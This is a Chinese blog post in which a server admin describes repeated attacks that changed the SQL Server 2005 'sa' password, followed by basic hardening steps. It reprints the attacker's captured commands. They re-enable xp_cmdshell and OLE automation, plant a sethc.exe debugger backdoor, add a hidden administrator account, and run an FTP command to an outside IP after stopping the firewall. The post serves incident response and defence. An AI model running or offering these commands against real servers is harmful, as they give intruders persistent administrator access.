sqlserver2005+sa密码反复被修改

本文分享了在服务器遭遇非法密码修改攻击时的应对措施,包括禁用危险端口、跟踪数据库活动、删除有害SQL过程及系统配置,最终采取措施确保系统安全。同时提供了关键步骤的SQL Server操作示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一来到公司同事说系统登录提示‘sa’登录密码错误,郁闷!难过这么重要的密码谁会去随便改动它?于是把sa密码先改回来,测试程序一切正常。

可是不到5分钟后又被告知‘sa’登录密码错误!惊恐

反复反复修改了几次sa密码,都是被修改,并且修改时间越来越快抓狂

先了解一下情况,原来服务器开放了1433端口,在公网上绝对等死!

通过SQL Profiler 先跟踪一下数据库到底是中毒还是怎么了。

跟踪结果如下:

use master;

go
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

go
dbcc dropextendedproc ("xp_cmdshell");dbcc addextendedproc ("xp_cmdshell","xplog70.dll");
dbcc dropextendedproc ("xp_dirtree");dbcc addextendedproc ("xp_dirtree","xpstar.dll");
dbcc dropextendedproc ("xp_regread");dbcc addextendedproc ("xp_regread","xpstar.dll");
dbcc dropextendedproc ("xp_regwrite");dbcc addextendedproc ("xp_regwrite","xpstar.dll");

go
dbcc dropextendedproc ("sp_OACreate");dbcc addextendedproc ('sp_OACreate','odsole70.dll');
dbcc dropextendedproc ("sp_OASetProperty");dbcc addextendedproc ('sp_OASetProperty','odsole70.dll');
dbcc dropextendedproc ("sp_OADestroy");dbcc addextendedproc ('sp_OADestroy','odsole70.dll');
dbcc dropextendedproc ("sp_OAMethod");dbcc addextendedproc ('sp_OAMethod','odsole70.dll');

go
--*sp_password--------------------------------
--*sp_password--------------------------------
--*sp_password------------------------------------
--*sp_password----------------------------------
--*sp_password-------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password----------------------------------
--*sp_password--------------------------------------
--*sp_password-------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------

go
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'

go
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user TsInternetUser hackk /add','0','true'

go
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators TsInternetUser /add','0','true'

go
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'

--*Statement text is removed
go
exec xp_cmdshell 'cmd.exe /c net stop sharedaccess&@echo open 60.190.114.148> cmd&@echo binary >> cmd&@echo bye >> cmd&ftp -s:cmd &del cmd /q /f&ping -n 3 127.0.0.1>nul'

go
--*sp_password--------------------------------
--*sp_password--------------------------------
--*sp_password------------------------------------
--*sp_password----------------------------------
--*sp_password-------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password----------------------------------
--*sp_password--------------------------------------
--*sp_password-------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------

go

知道人家是怎么样修改我的密码了,先将外网的所有没必要端口关掉!

---------------百度禁用xp_cmdShell

-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

把系统过程xp_cmdShell删掉。

同样的还有xp_dirtree,xp_regwrite,xp_regread。

最后把上面调用到的角本删除电脑查木马,杀毒。

这位温州的朋友,其实我的破服务器没什么东西,才80G硬盘,2G内存……用来瞎玩的,请高抬贵手一边凉快去

以上是自己的一点小小心得,还有许多不足之处,请高手们指点指点我,怎么样做才安全快哭了

还有哪些是露掉的?请指出。。。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值